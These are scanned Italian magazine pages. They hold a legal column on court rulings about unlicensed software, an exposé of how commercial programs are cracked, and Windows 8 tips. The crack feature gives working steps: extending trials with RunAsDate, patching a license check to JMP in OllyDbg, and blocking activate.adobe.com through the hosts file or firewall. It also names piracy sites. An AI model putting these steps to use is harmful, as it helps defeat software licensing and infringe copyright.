la parola all’avvocato 

Sono anni che si discute se sia o meno oppor¬ 
tuno ed equo che l’utilizzo non autorizzato di 
software costituisca reato come, attualmente, 
previsto dalla disciplina italiana sul diritto 
d’autore. Da una parte quanti hanno sempre 
sostenuto che si tratterebbe di un approccio 
eccessivo ed incongruo rispetto ai diritti tutelati 
e da una parte quanti - naturalmente capitanati 
dalle software house italiane e straniere - si 
dicono convinti che l’esistenza di una sanzione 
penale sia un deterrente irrinunciabile per la 
tutela del mercato del software. Quale che sia la 
"squadra" cui apparteniamo, ci interesserà sa¬ 
pere che la disciplina della materia, negli ultimi 
anni, ha formato oggetto di importanti inter¬ 
pretazioni e rivisitazioni ad opera dei giudici. 

Usare software pirata non è reato 

La sintesi - o, almeno, una delle possibili sin¬ 
tesi - delle conclusioni cui si è pervenuti è que¬ 
sta: il professionista che detiene ed utilizza, 
nell’ambito della propria attività professio- 
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Un Tribunale di Bologna 
ha stabilito che non 
costituirebbe reato non solo 
la detenzione, ma neppure 
l’abusiva duplicazione 
del software pf 


naie, software senza licenza, certamente, 
non commette reato e, forse, non lo commette 
neppure se prima di utilizzarlo e detenerlo 

10 ha autonomamente - e soprattutto abu¬ 
sivamente - duplicato. 

Dalla sintesi, torniamo all’analisi. La Corte di 
Cassazione ha, ormai da tempo [n.d.r. cfr. Sen¬ 
tenza 22 dicembre 2009, n. 49385] chiarito che 
l'art. 171 bis della Legge sul diritto d'autore, 
richiede, aifini della configurabilità del rea¬ 
to, che la detenzione, distribuzione o vendita 
di software avvenga "a scopo commerciale o 
imprenditoriale”. 

L’attività professionale, secondo i Giudici della 
Cassazione, non è assimilabile ad attività im¬ 
prenditoriale o commerciale con la conseguenza 
che se la detenzione si consuma in ambito pro¬ 
fessionale non può esservi reato. 

11 legislatore secondo i Giudici della Corte 
Suprema, infatti, non avrebbe sottratto dalla 
fattispecie di reato la sola detenzione “a scopo 
personale” come spesso sostenuto da Giudici e 
commentatori ma, al contrario, avrebbe stabilito 
che solo la detenzione a scopo commerciale o 
imprenditoriale costituisce reato, ritenendo 
quest'ultima, evidentemente, una condotta più 
grave della tante altre astrattamente verificabili 
tra le quali, appunto, la detenzione nell’ambito 
di un'attività professionale. 

La Cassazione si è già espressa 

Ecco, dunque, come i Giudici della Cassazione 
spiegano il concetto. 

“È erroneo equiparare l’utilizzo in una attività 
libero professionale ad una attività impren¬ 
ditoriale solo perché il primo utilizzo non 
potrebbe essere equi¬ 
parato a quello mera¬ 
mente privato. Questo 
assunto si fonda su un 
presupposto che non 
corrisponde assolu¬ 
tamente alla realtà, 
ossia che il legislato¬ 
re abbia stabilito che 


esistono solo tre categorie di 
utilizzi: quello commercia¬ 
le, quello imprenditoriale e 
quello meramente privato, 
con la conseguenza che tut¬ 
ti gli utilizzi che non siano 
meramente privati debbano 
necessariamente essere fatti 
rientrare in una delle altre 
due categorie. La realtà in¬ 
vece è - come risulta dalla lettera e dalla ratio 
della disposizione - che il legislatore, tra tutti 
gli innumerevoli utilizzi possibili, ne ha indi¬ 
viduati due (commerciale ed imprenditoriale) 
che ha ritenuto meritevoli di sanzione penale. 
A tutti gli altri utilizzi che non rientra¬ 
no in una di queste due categorie, ov¬ 
viamente, la sanzione penale non sarà 
applicabile". Sin qui la parola - ormai qua¬ 
si granitica - dei Giudici della Cassazione. 

La sentenza choc 

Nei mesi scorsi, tuttavia, a questa posizione 
se n’è aggiunta un’altra che ha ulteriormente 
alleggerito la posizione dei professionisti che 
utilizzano software senza licenza nell’ambito 
dei propri studi. Il Tribunale di Bologna, in¬ 
fatti, con una Sentenza dello scorso 3 giugno, 
accogliendo la tesi dell'Aw. Maria Virgilio che 
assisteva un architetto nel cui studio le fiam¬ 
me gialle avevano trovato software senza li¬ 
cenza, ha stabilito che non costituirebbe reato 
non solo la detenzione ma neppure “l’abusiva 
duplicazione dei programmi per elaboratore 
da parte di un professionista”. Si tratta di 
una tesi nuova e che - se confermata nel¬ 
la giurisprudenza 


u L’utilizzo di software pirata 
che non rientra in una delle 
due categorie commerciale 
ed imprenditoriale non è 
sanzionabile penalmente p p 

Corte di Cassazione, 

Sentenza 22 dicembre 2009, n. 49385 


destinata a prodursi 
sull’argomento - si 
tradurrebbe in una 
sostanziale e radi¬ 
cale impunità per i 
professionisti - ma 
quindi anche peri 
privati - che dupli¬ 


cano abusivamente 
software. In realtà, 
l’art. 171 bis della leg¬ 
ge sul diritto d'autore 
richiede, affinché la 
detenzione di software 
costituisca reato, che 
la stessa avvenga “a 
scopo commerciale 
o imprenditoriale”, 
mentre non prevede che debbano ricorrere 
i medesimi presupposti perché sussista il 
reato di abusiva duplicazione di software. 


Cosa cambia adesso? 

Per tale fattispecie di reato, infatti, il legislatore si 
limita a prevedere che la duplicazione avvenga 
per trarne profitto. Approssimazione, convin¬ 
zione, ferma volontà di revisionare in modo 
sostanziale il quadro normativo vigente, tuttavia, 
hanno spinto il Giudice del Tribunale di Bologna 
a stabilire che anche la duplicazione abusiva 
di software non costituisce reato allorquando 
si consumi in ambito professionale. Prima di 
chiudere vai la pena ricordare che la circostanza 
che la duplicazione e/o detenzione abusiva di 
software in ambito professionale non costituisca 
reato non significa che tale condotta sia lecita. 
Usare software senza la relativa 
licenza è una condotta illeci¬ 
ta che può, comunque, costare 
cara, sebbene solo in termini 
economici, a chi la 
pone in essere. 
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Nella fabbrica BIS 
dei crack software 

Viaggio tra i nodi underground del Web alla scoperta delle tecniche 
proibite che sbloccano tutte le funzioni dei programmi a pagamento 


U no su due è pirata, e non stiamo par¬ 
lando delle imbarcazioni che attraver¬ 
sano l’oceano indiano e sequestrano 
le navi mercantili e commerciali, bensì dei 
programmi installati sui PC di noi italiani. A 
lanciare l’allarme è il direttore della divisione 
italiana Microsoft, che si occupa proprio di 
questo fenomeno. Mentre in Europa la per¬ 
centuale si attesta sul 33% circa, in Italia il 
49% dei software commerciali è contraffatto. 
I privati, comunque, non sono gli unici uti¬ 
lizzatori di software a sbafo: anche aziende 
e imprenditori cedono spesso e volentieri 


alla tentazione, e la recente assoluzione di 
un libero professionista che deteneva ben 
17 mila euro di software crackati sentenziata 
del tribunale di Bologna (leggi a tal riguardo 
l’articolo delle pagine precedenti), la dice lun¬ 
ga sulla difficoltà che incontrano le software 
house nel contrastare la pratica della pirateria 
informatica nel Bel Paese. 

A ognuno il suo crack 

I modi per entrare in possesso di un software 
pirata sono molti. Un tempo venivano scam¬ 
biati tra amici e colleghi o acquistati sulle 


bancarelle a prezzi stracciati se confrontati col 
valore reale; ora, grazie alla diffusione della 
banda larga, la risorsa più battuta è senz’altro 
la Rete. Proprio come avviene per film e mu¬ 
sica, le ricerche nelle reti P2P restituiscono 
risultati per tutte le esigenze. Ricerche su 
eMule o nelle reti BitTorrent consentono ai 
pirati di reperire ogni genere di programma 
commerciale completo di crack e istruzioni 
per applicarlo. Anche forum, blog e siti Web, 
cui si arriva con una semplice ricerca su Go- 
ogle, sfruttando la banda offerta dai servizi 
di file hosting, possono contare su una veloce 


IL WM DEI PIRATI 

H_ TERMINE CRACK RACCHIUDE TUTTI I METODI DI ATTIVAZIONE ILLEGALE 
DI UN SOFTWARE MA IN REALTÀ NE ESISTONO DI DIVER5E CATEGORIE 


PATCH 

Con questo fermine si indica una tipologia di crack 
che consiste nella sostituzione dei file originali del 
programma Quelli nuovi sono opportunamente 
modificati per non richiedere l'attivazione del 
software 

NO-C D/DVD 

Tecnica utilizzata soprattutto nel mondo dei 
videogame pirata la modifica all’eseguibile 
bypassa il controllo del supporta, consentendo 
l'avvio del titolo senza disporre del DVD originale 

LO ADE R 

In questo caso, il crack viene eseguito al volo 
durante il caricamento delf eseguibile Non 


alternando i file originali questo tipo di crack 
supera anche i controlli anficopia CRC (Controllo 
a Ridondanza Ciclica) usati dai sistemi operativi. 

KEYGEN 

Alcuni software nascondono l’algoritmo di 
generazione del seriale alfìnferno del programma 
stesso. Questo permette ai cracker di realizzare 
tool (i keygen appunta) che estraggono dal 
software la chiave di attivazione 

NOLIMtT 

La modifica della data di sistema permette a 
questo tipo di crack d’ingannare le versioni trial dei 
software commerciali facendogli credere che non 
sia ancora scaduto il periodo di prova 
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Software a lunga scadenza 



^ Il tool si trova su Internet 

i 1 II pirata non fa fatica a trovare RunAsDate sul Web: una ricer- 
JJ ca su Google lo porta facilmente al sito dove potrà scaricare 
l’applicazione. Estratto l'archivio, il pirata avvia il software, che non 
richiede installazione. 


^ Scadenza derogata 

Il pirata sceglie il software commerciale da "sbloccare’’: per far¬ 
lo, naviga alla ricerca del collegamento usato per avviarlo. Indica 
quindi una data precedente, anche di un solo giorno, rispetto a quella 
di scadenza del periodo di prova e applica le modifiche. 



distribuzione del materiale opportunamente 
contraffatto. I file che si scaricano da queste 
risorse, generalmente, consistono di archivi 
compressi o immagini in formato ISO di CD 
e DVD che, insieme ai file d’installazione del 
programma, comprendono quanto occorre 
per crackarlo o attivarlo illegalmente. In alter¬ 
nativa, è possibile anche servirsi delle versio¬ 
ni trial disponibili sul sito Web dei software, 
scaricando dai suddetti canali "proibiti” solo 
la patch di attivazione. Conclusa l’installa¬ 
zione del software, al pirata basta seguire 
le istruzioni che illustrano la procedura di 
attivazione del crack. Poiché tali procedure 
variano a seconda del software, anche quelle 
illegali si differenziano per tipologia e mo¬ 
dalità di applicazione. 

• Nel caso di attivazione median¬ 
te crack, il pirata sostituisce il file 
eseguibile originale del programma 
con un file, apparentemente simile, 
riscritto dal cracker (colui che crea il 
crack) per bypassare la richiesta del 
codice di attivazione. 

• Meno invasivi ma altrettanti validi, 
i keygen sono particolari tool che 
consentono di generare un serial per 
arrivare alla validazione dell’instal¬ 
lazione tramite la normale procedura 
di attivazione. Il keygen può essere 
utilizzato solo per quei programmi che 


nascondono l’algoritmo di generazio¬ 
ne delle chiavi nel programma stesso. 
Dove non arrivano crack e keygen, ci 
pensano i loader e i NoLimit. Particolar¬ 
mente adatti per bypassare l’attivazione 
di software e sistemi operativi Micro¬ 
soft, i loader riescono a superare anche 
i controlli CRC (Controllo a Ridondanza 
Ciclica) che i sistemi antipirateria dei 
software applicano su se stessi, mentre 
i NoLimit, alterando la data del sistema, 
consentono di allungare all’infinito le 
versioni di prova dei software commer¬ 
ciali. Insomma, nonostante gli sforzi, 


le software house riescono a malapena 
ad arginare il problema della pirateria. 

L’alternativa legale 

Il prezzo esorbitante di alcuni software 
commerciali, giustificato dalle ingenti 
risorse richieste per il suo sviluppo, che 
può arrivare anche a diverse migliaia di 
euro, è il motivo principale per cui sono 
in tanti a spingersi oltre le colonne d’Èr¬ 
cole della legalità per approdare sui lidi 
sconosciuti (e a volte pericolosi) della 
pirateria. Tuttavia, in molti casi, gli utenti 
utilizzano software pirata solo perché non 


COL CRACK E SENZA INSTALLAZIONE 


Uno dei siti più utilizzati dai pira¬ 
ti informatici è PortableAppz, da 
cui è possibile scaricare versioni 
portable di molti software, ma 
anche programmi commerciali 
crackati che non necessitano 
di installazione per funzionare. 
Questi ultimi sono, in realtà, dei 
normali archivi compressi auto- 
estraenti (informato PAF): basta 
solo indicare la cartella o il drive 
di destinazione, dopodiché per 
avviare i programmi si ricorre 
all’EXE che si trova all'interno 
della cartella. Per crearli, i pirati 


usano strumenti come Portable 
App Creator oVMwareThinApp. 
Ricorrendo a questi strumenti, 
sono in grado di registrare tutte 
le modifiche che avvengono nel 
sistema durante l'installazione 
e l'attivazione di un software. 
L'archivio restituito da WmVare 
ThinApp, ad esempio, permette 
di usare il software su qualun¬ 
que PC senza bisogno di ripete¬ 
re setup e attivazione. Si tratta 
di programmi portable a tutti 
gli effetti che, assieme ai file 
necessari per l'esecuzione, in¬ 


tegrano anche il serial key con il 
quale sono stati attivati. Oltre ai 
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conoscono prodotti alternativi disponibili 
gratuitamente. Eppure, basterebbe solo 
guardarsi attorno per scoprire un mondo 
di eccellenti programmi open source che 
non hanno nulla da invidiare a blasonati 
e costosi software con analoghe caratteri¬ 
stiche. Software come The GIMP, InfraRe- 
corder, PeaZip o LibreOffice, solo per fare 
qualche esempio, offrono gratuitamente 
gli stessi strumenti che Photoshop, Ne¬ 
ro, WinRar o MS Office si fanno pagare 
profumatamente. Ci sono poi i regali che 
Win Magazine fa ogni mese ai suoi lettori, 
offrendo codici di attivazione e promo¬ 
zioni per utilizzare a costo zero i migliori 
software commerciali per Windows. Così 
come il crimine, anche i software pirata 
non pagano e possono metterci in un mare 
di guai. Farla franca con la legge non è 
difficile, ma rischiare di beccarsi un virus 
o aprire le porte del nostro PC agli stessi 
pirati che hanno crackato il software non è 
un’eventualità così rara: d’altronde, basta 
farsi un giro sui siti che diffondono crack 
per essere letteralmente subissati dalle 
finestre popup che segnalano la presenza 
di worm, trojan e spyware di ogni tipo. 
Tirando le somme, la legalità resta sempre 
la strada migliore per non complicarsi 
inutilmente la vita. 


Con il crack fatto in casa 


Con gli 
strumenti giusti 
e un po’ di 
pratica, anche 
un pirata alle 
prime armi 
è in grado 
di crackare 
un software 
commerciale. 
E per farlo, non 
gli servono 
particolari 
competenze 
o conoscenze 
tecniche. 
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Le armi segrete usate dal pirata 

•f ; Il pirata si procura un debugger come OllyDbg e procede all’installa- 
4 —/ zione del software che intende crackare. Awiato OllyDbg con privilegi 
di amministratore, il pirata va alla ricerca della posizione del collegamento che 
avvia il programma, quindi attende che venga caricato nel sistema. 


COSI I PIRATI USANO IL FIREWALL DI WINDOWS 7 


Come abbiamo visto, i pirati informatici, sfruttano 
bug, falle di sicurezza ed eseguono il reverse 
engineering dei software commerciali per rea¬ 
lizzare i cosiddetti "crack", rilasciati poi sui canali 
underground della Rete. Il più delle volte creano 
un nuovo eseguibile del programma dopo aver 
eliminato la routine di registrazione da quello 
originale; altre volte estrapolano l’algoritmo per 
compilare un keygen che consente loro di genera¬ 
re seriali accettati dal programma come validi. In- 
somma, la lotta tra software house e pirati è sem- 
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Files 


Adobe Photoshop CS4 Extended Keygen. 
(one *.exe file) 


ho*, to use 


- open thè Keygen. 

- Generate a Serial 

- Errter thè Serial 

- Go to C: Windows Syste«32 drivers etc. 

There Should be a File named: Hosts' 

Doublé click and open it with Notepad. 

There should be so*ething like this in thè bottoni: 

127.0.0.1 localhost 

::1 localhost 

Make sure that it looks like this: 

127.0.0.1 localhost 

127.0.0.1 activate.adobe.com 

::1 localhost 

- now click File> save 

- dose Notepad 

- Finish thè Photoshop CS4 instailer 

- Fnjoy! __ 


pre accesa; tant’è che 
le prime si impegnano 
ad introdurre sistemi 
antipirateria via via più 
sofisticati, come chiavi 
di protezione hardware 
e controlli di genuinità 
su server remoti. In par¬ 
ticolare, questi ultimi si 
eseguono all'avvio del 
software e in presenza 
di connettività Internet. 
Molte applicazioni inte¬ 
grano il controllo della 
licenza nella procedura 
di update del software; 
in questo modo, quan¬ 
do l'utente verifica la 
disponibilità di nuove 



versioni viene obbliga¬ 
toriamente controllata la genuinità del program¬ 
ma installato nel computer. 

I pirati, dopo aver applicato il crack al software, 
provvedono a bloccare nel file hosts di Windows 
XP i controlli di genuinità reindirizzando al lo¬ 
calhost del loro PC (che per tutti è 127.0.0.1 ) il 
collegamento al sito per l'attivazione dei prodotti. 
Con Windows Vista eWindows 7 tale sistema non 


funziona e devono ricorrere al firewall (anche 
quello integrato nel sistema operativo) crean¬ 
do una regola che blocca i file EXE del software 
commerciale. È così che riescono a compiere la 
loro malefatta. Insomma, ironia della sorte... uno 
strumento legale come il firewall di Windows, 
nelle mani sbagliate diventa uno strumento di 
hacking. 



























































La fabbrica del crack 
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DOWNLOAD ZONE 


PORTABLEAPPZ 


httpy/source 

forge.net 


www.portable 

freeware.com 
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www.winmagazine.it 


Il più grande database 
di software open source 
esistente. 

Ci si trova di tutto e 
molti dei software 
offerti non hanno 
nulla da invidiare ai 
costosi programmi 
commerciali. 


Oltre ad essere 
completamente 
gratuiti, i software 
disponibili su questo 
sito coprono qualunque 
necessità senza 
nemmeno richiedere 
l'installazione 
sul sistema. 


Ogni giorno regala ai 
propri lettori le licenze 
di famosi software 
commerciali. Per non 
lasciarsi sfuggire le 
offerte, che valgono solo 
per 24 ore, e possibile 
servirsi di newsletter e 
feed RSS. 


Approfittando delle 
promozioni che ogni mese 
troviamo nei supporti allegati 
alla rivista, 
avremo la possibilità 
di installare e utilizzare 
gratuitamente 
e legalmente decine di 
software a pagamento. 


www.astalavista.box.sk 

http://downloadzone 

forum.net 

http://portableappz. 

blogspot.it 

Quello che all'apparenza sembra un 
normale motore di ricerca, in realtà 
è una preziosa risorsa per gli utenti 
alla ricerca di crack e keygen da 
utilizzare per l'attivazione illegale di 
software commerciali. 

Utilizzato dai pirati per 
approvvigionarsi soprattutto di giochi 
e film, le pagine del forum vantano una 
ricca collezione dì software distribuiti 
illegalmente sfruttando la velocità dei 
servizi di file hosting. 

Assieme a software liberi modificati per 
l'esecuzione da drive USB, il blog offre 
decine di programmi commerciali che non 
richiedono né installazione, né tantomeno 
l'attivazione. 
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Non serve più nessuna attivazione 

o i in questa stringa il pirata sostituisce JA/Zcon JMPe riassembla il 
wJ codice del software, salvando le modifiche dal menu contestuale 
che appare. Chiude quindi la finestra di debug per apportare le modifiche 
all’eseguibile originale. Il crack è bello e servito! 


RISORSE SOFTWARE, TRA LEGALI E ILLEGALI 

È facile entrare in possesso di software pirata, ma anche cercare un'alternativa 
legale. Ricordiamo, però, che sui siti pirata virus e spyware non mancano mai! 


nessun software è a prova di pirata 


Debug Wugw* OpWn* Wiwtov» Help ---- 


^1 Alla ricerca della stringa giusta 

O 1 II pirata procede con il filtraggio delle stringhe del software e, scorren- 
> J do la finestra, individua quella che riporta il testo registration, activa- 
tion o license per poi aprirne le relative istruzioni con un doppio clic del mou¬ 
se. Quindi individua quella che si occupa di verificare la licenza. 
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Guida all' hacking di Windows 8 


Windows 8 ed è 
subito hacking 

Abbiamo smancttato con il nuovo OS Microsoft. 

Ecco le funzioni nascoste che siamo riusciti ad abiltare 


Cosa ci 
occorre 

SISTEMA OPERATIVO 


WINDOWS 8 

CONSUMER 

PREVIEW 


Quanto costa. Gratuito 
Sito Internet: 

www.winmagazine. 

it/link/1383 


STRUMENTI PER 
HACK DEL SISTEMA 

WIN8 HACKING 
TOOLS 

Quanto costa: Gratuito 


U n nuovo sistema operativo desta 
sempre interesse tra gli appassio¬ 
nati, a maggior ragione se si parla 
di Microsoft: il mondo dell'informatica 
va in delirio. Anche se il nuovo sistema 
operativo è uscito da poco, la Customer 
Preview di Windows 8 ha scatenato la 
curiosità degli utenti che, approfittan¬ 
do di una licenza gratuita (valida fino 
al lancio definitivo di Windows 8), non 
si sono lasciati sfuggire l’occasione di 
toccare con mano le caratteristiche del 
prossimo pupillo Microsoft. Per coloro 
che si ritrovano ancora la CP di Windows 


8 installata, ecco come abilitare alcune 
funzioni nascoste. Le novità sono tante 
e basta avviare Windows 8 per accorger¬ 
sene. L’esperienza accumulata in anni 
di utilizzo degli OS Microsoft serve a 
poco, i comandi votati all’utilizzo su 
schermi touch modificano schermate, 
menu e impostazioni. Occorre ripartire 
da zero, ecco perché abbiamo deciso di 
illustrarvi in dettaglio alcune delle novità 
offerte da Windows 8. Per provarle senza 
installare nulla sul PC puoi usare la no¬ 
stra esclusiva Simulation pack presente 
nell’interfaccia del Win CD-Rom. 


l»JiaaiKtnM 


§ ELEVATA 
MEDIA 
BASSA 


© SPOSTIAMO 
EINGRANDIAMO 
LE TILE A PIACIMENTO 


Le Live file, ovvero quelle mattonelle che 
troviamo nella Start Screen, sono parti¬ 
colari collegamenti che, oltre a lanciare i 
relativi programmi, integrano un sistema 
per notificare gli aggiornamenti riguar¬ 
danti l'applicazione stessa. Possiamo 
modificarne l’aspetto e le impostazioni 
in pochi clic. 

Facendo clic con il tasto destro del mou¬ 
se su una delle mattonelle, potremo trasci¬ 
narla nella posizione che più ci fa comodo. 


Come installare il sistema su un hard 

Effettuiamo il setup del sistema su disco virtuale (VHD). Possiamo così realizzare una configurazione multi-boot, 
anche nel caso in cui il nostro computer non disponga di una partizione libera. 



^ Procuriamoci Windows 8 

■| j Scarichiamo FISO di Windows 8 e maste- 
rizziamola su un DVD. Alternativamente, 
seguendo il wizard di Windows 8 Consumer Pre¬ 
view, possiamo salvare i file anche su una chia¬ 
vetta USB. Riavviamo il PC e lanciamo il boot da 
DVD o USB. 


▲ Avviamo i’installazione 


2 Giunti alla schermata d'impostazione della 
lingua, pigiamo i tasti Shift + FIO cosi da 
aprire il prompt dei comandi. Digitiamo Diskpart 
(Invio) e continuiamo inserendo il comando list 
disk. È il momento di scegliere su quale disco 
creare il file VHD (0 nel nostro caso). 


^ 20 GB oer iniziare 

2 : Impartiamo il comando selectdiskO (sostitu- 
wL iamo 0 con il numero del disco da utilizzare) 
; continuiamo con il comando list voi che mostrerà 
e partizioni disponibili nel disco scelto. Poiché sono 
lecessari almeno 20 GB di spazio, individuiamo una 
Dartizione capiente che possa contenere il file VHD. 
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I collegamenti in basso Unpin from Start, 
Uninstalle Smaller/Larger, consentono ri¬ 
spettivamente di rimuovere la tile dalla Start 
Screen, disinstallare il programma o ridur¬ 
re/allargare la mattonella. 

© RICERCHE ANCORA 
PIU RAPIDE 

L’altra novità introdotta per sostituire il 
classico menu Start si chiama Charm Bar. 
Per svelarne la presenza è necessario 
spostare il cursore negli angoli (in alto o in 
basso) a destra dello schermo. Il collega¬ 
mento Searchè il più importante tra quelli 
della Charm Sarpoiché fornisce accesso 
a tutte le applicazioni, impostazioni e file. 
Facciamo apparire la Charm Bare cucchia¬ 
mo su Search. La casella di ricerca si com¬ 
porta analogamente a quanto succede in 


Windows 7, in questo caso, però, abbiamo 
la possibilità di filtrare rapidamente la ricer¬ 
ca per includere nei risultati solo applica¬ 
zioni (Apps), impostazioni (Settings) o File. 
Digitando il nome dello strumento o del file 
che ci interessa, il filtro aggiorna immedia¬ 
tamente il numero dei risultati trovati. Ro¬ 
vesciata rispetto al classico menu Start, ia 
cronologia delle ultime applicazioni aperte 
ora si trova sotto casella e filtri della ricerca. 



0 PERSONALIZZAZIONE 
ASPETTO E ACCOUNT 
UTENTE 


Tutte le personalizzazioni e le impostazioni 
che riguardano Start Screen, notifiche, ac- 
count utente e altro, sono state racchiuse 
in un’unica schermata che consente ia 


IN BREVE 


ALLE “ISO” 
CI PENSA 
WINDOWS 


Indispensabile quan¬ 
do si utilizza un PC 
sprovvisto di lettore 
ottico (ad esempo 
netbook e ultrapor¬ 
tatili), una funzione 
di Windows 8 per¬ 
mette di gestire i file 
ISO senza ricorrere 
ad apposite utility. 

Il comando Mount, 
che compare nel me¬ 
nu contestuale e nel¬ 
la sezione Disc Ima- 
ge Tools del Ribbon 
di Windows Explorer 
quando selezionia¬ 
mo un file ISO, monta 
l'immagine del disco 
mostrandone il conte¬ 
nuto nel drive virtua¬ 
le, cui si accede dal¬ 
la cartella Computer. 


rapida modifica di tutto ciò che riguarda 
il feeling che desideriamo avere con Win¬ 
dows 8, inclusa la modalità di accesso al 
nostro account Windows. 

Selezioniamo Settings dalla Charm Bare 
clicchiamo su More PC Settings. Sulla sini¬ 
stra troviamo elencate le varie impostazioni 
su cui vogliamo agire. Personalize, ad esem¬ 
pio, consente di modificare lo sfondo e per¬ 
sonalizzare le Live tile che compaiono nella 
schermata di accesso, modificare colore e 
background della Start Screen e imposta¬ 
re un’immagine per l’account. Spostando¬ 
ci su Users invece, possiamo passare da un 
account Windows Live a uno locale, modifi¬ 
care la password e aggiungere utenti. Con 
il pulsante Create a picture password, av¬ 
vieremo il wizard per attivare la nuova mo¬ 
dalità di accesso touch-friendly offerta da 
Windows 8. Digitiamo la password del nostro 



disk USB esterno 



Creiamo il disco virtuale 

4 Con il comando create vdisk file= “D:\ 
w windows8.vhd" maximum=20000 
type=expandable, salveremo il file nella radice di 
D (sostituiamo la lettera D con il percorso che ha lo 
spazio necessario). Per selezionare il file digitiamo 
select vdisk file=D:\windows8.vhde diamo Invio. 


^ Installazione personalizzata 

Ej I Montiamo il disco virtuale lanciando il 
W comando Attach vdisk e usciamo dal 
prompt digitando il comando exit seguito da Invio. 
Ritornati all'installazione di Windows 8, indichiamo 
italiano come metodo di input (Next), clicchiamo 
su Instali nowe digitiamo il product key (Next). 


^ A noi la scelta 

0 Accettiamo la licenza e clicchiamo Custom. 
•mmJ Selezioniamo l'unità contrassegnata con il 
nome Unallocated Spaces (il disco virtuale appe¬ 
na creato) e concludiamo l'installazione. Al termine, 
come in una qualsiasi altra configurazione dual boot, 
potremo scegliere quale sistema operativo avviare. 


► 
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accountWindows, clicchiamo su Choose pie- 
ture, selezioniamo l’immagine da utilizzare 
(Open/Use this Pitture) e disegniamo i mo¬ 
vimenti che sbloccheranno l’account. Ripe¬ 
tiamo nuovamente i movimenti e impostia¬ 
mo con Finish. 

0 Sì. MA DA DOVE 
SPENGO IL PC? 

Mancando il menu Start il collegamento 
che consente l’avvio, il restart o l’iber¬ 
nazione di Windows 8 è stato spostato 
altrove. Anche se a primo impatto sembra 
difficile da individuare, basta un clic per 
rilevarne l’esistenza. 

Spostiamo il cursore in un angolo a destra 
dello schermo e scegliamo il collegamen¬ 
to Settings che compare nella Charm Bar 
Un clic sul pulsante Power farà apparire il 
menu dal quale possiamo ibernare (Sleep), 
arrestare (Shut down) o riavviare (Restart) 
Windows 8. 
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0 INSTALLARE NUOVE 
APP DALLO STOR 


APP DALLO 
MICROSOFT 


RE 


La mattonella Store presente nella Smart 
Screen, spalanca le porte a un mondo di 
applicazioni progettate per funzionare nel 
nuovo menu Metro di Windows 8. Lo Store 
Microsoft, anche se aperto di recente, van¬ 
ta già un cospicuo numero di programmi e 
giochi che s’installano in un soffio. 

Lo Store delle applicazioni per Windows 8 
è del tutto simile a quello che troviamo ne¬ 
gli smartphone. Divise per categorie, le app, 
proprio come sui cellulari intelligenti, s’instal¬ 
lano con un semplice clic. Cucchiamo sul tile 



IN BREVE 


DA 

SCREENS 
A IMMA( 


HOT 

ilNE 


In Windows 8 l’opera¬ 
zione di cattura scre- 
enshot è stata sem¬ 
plificata riducendola 
a una scorciatoia da 
tastiera. 

La combinazione di ta¬ 
sti Win+Stamp(oPrint 
Screen, cattura lo scre- 
enshot ma, invece che 
copiare l'immagine ne¬ 
gli appunti, la salva diret¬ 
tamente in formato PNG 
nella cartella Pictures 


COMANDI 
DI ARRESTO 
NELLA 
START 
SCREEN 


Seppur, come visto, 
bastino pochi die per 
accedere ai comandi 
di arresto di Windows 


8, possiamo inserirli 
direttamente nella 
Start Screen. 

Decomprimiamo il file 
Pulsanti Stop.zip (pre¬ 
sente nell’archivio Win- 
8hacktools.zip, scarica¬ 
bile da www.winmagazì- 
ne.it/link/1769), lancia¬ 
mo il file Pulsanti Stop, 
vbse confermiamo con 
OK. Orai comandi di ar¬ 
resto saranno disponibili 
nella Start Screen. 


DOVÈ FINITA 
LA “X”? 

Per terminare un'ap¬ 
plicazione Metro, non 
sono più disponibili i 
pulsanti in alto a de¬ 
stra della finestra. 
Per farlo spostiamo il 
cursore sul bordo alto 
dello schermo, teniamo 
premuto il pulsante sini¬ 
stro del mouse e trasci¬ 
niamo la schermata ver- 
so il basso. 


Store, sfogliamo le categorie aiutandoci con 
lo scrolling del mouse e scegliamo l'appli¬ 
cazione da installare. Cucchiamo su Instali 
e, se non lo abbiamo fatto durante l’instal¬ 
lazione di Windows 8, indichiamo i dati del 
nostro account Windows Live (Sign in). L’in¬ 
stallazione procederà senza richiederci altre 
azioni e al termine troveremo l’applicazione 
tra quelle già presenti nella Start Screen. La 
mattonella Store, inoltre, ci notifica la pre¬ 
senza di aggiornamenti per le app installate. 

© RITORNIAMO 
AL BUON VECCHIO 
DESKTOP 

Con l’intenzione di rendere più piacevole 
l’uso di Windows 8, soprattutto per chi lo 
utilizzerà su PC e dispositivi Touch, la Start 
Screen rappresenta un modo d'interagire 
con il sistema del tutto nuovo. Tuttavia, 
se proprio non riusciamo a fare a meno 
del desktop e del menu Start ecco una 
soluzione per riempire questo vuoto. 



Scompattiamo l'archivio ShowDesktop. 
zip (presente nell’archivio Win8hacktools. 
zip , scaricabile da www.winmagazine.it/ 
link/1769), apriamo la ricerca cliccando sul 
pulsante Search della Charm Bar selezio¬ 
niamo il filtro Settings. digitiamo schedule 
tasks e pigiamo Invio. Selezioniamo Task 
Scheduler Library e clicchiamo su Create 
Task. In Name digitiamo Passa a Desktop , 
quindi spostiamoci nella tab Triggers, clic¬ 
chiamo New , scegliamo Atlog on dal menu 
a tendina Begin thè task(Ok), passiamo al 
tab Action, clicchiamo ancora su New. in¬ 
dichiamo ( Browse) il file ShowDesktop.scf 
estratto in precedenza (che non dovremo più 
spostare dalla posizione in cui si trova) e sal¬ 
viamo con Ok. Con questa modifica, all’av¬ 
vio di Windows 8 saremo accolti dal desktop 
senza dover più passare dalla Start Scre¬ 
en. A rimettere al proprio posto anche il me¬ 
nu Start ci pensa il software ViStart. Scom¬ 
pattiamo l’archivio ViStart.zip (lo troviamo 
nell’archivio Win8hacktools.zip, scaricabi¬ 
le da www.winmagazine.it/link/1769), lan¬ 
ciamo il file windows-start-menu-vistart. 


exe, rispondiamo Si, proseguiamo con Next 
e Accept quindi clicchiamo su Dettine. Me¬ 
nu Starte relativo pulsante ritorneranno nel¬ 
la loro consueta posizione. 

0 METTIAMO 
UN PO’ D’ORDINE 
CON I GRUPPI 

Le applicazioni (classiche o Metro) che 
aggiungiamo a Windows, piazzano i col- 
legamenti (le tile) nella Start Screen che 
col tempo può diventare caotica. I gruppi 
possono sicuramente aiutarci a mettere 
ordine. 

Trascinando una tile verso la destra dello 
schermo questa si slegherà dalle altre in¬ 
serendosi in un nuovo gruppo. Trasciniamo 
tutte le altre tile nel medesimo gruppo quin¬ 
di facciamo clic sulla piccola lente d'ingran¬ 
dimento che compare nell’angolo in basso 
